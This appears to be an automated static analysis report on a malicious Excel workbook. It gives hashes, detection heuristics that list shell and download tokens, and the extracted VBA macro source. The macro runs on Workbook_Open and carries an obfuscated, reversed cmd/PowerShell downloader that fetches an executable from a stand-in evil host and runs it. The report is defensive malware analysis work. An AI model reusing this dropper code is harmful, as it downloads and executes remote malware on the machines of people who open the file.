Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7680447077765996…

MALICIOUS

Office (OOXML)

14.4 KB Created: 2021-04-19 20:57:26 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-25
MD5: 66b3369bde1c9b4d613dc672916a0c65 SHA-1: 94215d9fd98dc3106181ae6c9ddf19c08f55d33b SHA-256: 76804470777659962192ffcb4715dcbfb448914c9e3d5316422d3d6d008b8c34
168 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("Wscript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ObjOL = CreateObject("Outlook.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1263 bytes
SHA-256: d4e2c24bc42fc7f9801301993f2b29b644e1e353d665327654693819d1939ffc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Set ObjOL = CreateObject("Outlook.Application")
    Set WshShell = CreateObject("Wscript.Shell")
    Set WshShellExec = WshShell.Exec("Whoami")
    MsgBox (WshShellExec.StdOut.ReadAll)
    Set WshShellExec = WshShell.Exec("cmd /V/C\""set N1=      }}{hctac};kaerb;iB$ metI-ekovnI;)iB$ ,dq$(eliFdaolnwoD.cAB${yrt{)tlm$ ni dq$(hcaerof;'exe.'+Kjm$+'\'+cilbup:vne$=iB$;'963' = Kjm$;)'@'(tilpS.'detcefni=l?php.suoici/lam/niamod.live//:ptth'=tlm$;tneilCbeW.teN tcejbo-wen=cAB$ llehsrewop&&for /L %R in (265;-1;0)do set ZR=!ZR!!N1:~%R,1!&&if %R==0 call %ZR:*ZR!=%")
End Sub

Attribute VB_Name = "Module1"
Sub x()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: a089299137b7a39a4500390f45ddc549b901dbc497c9bc77945eed252b715c5c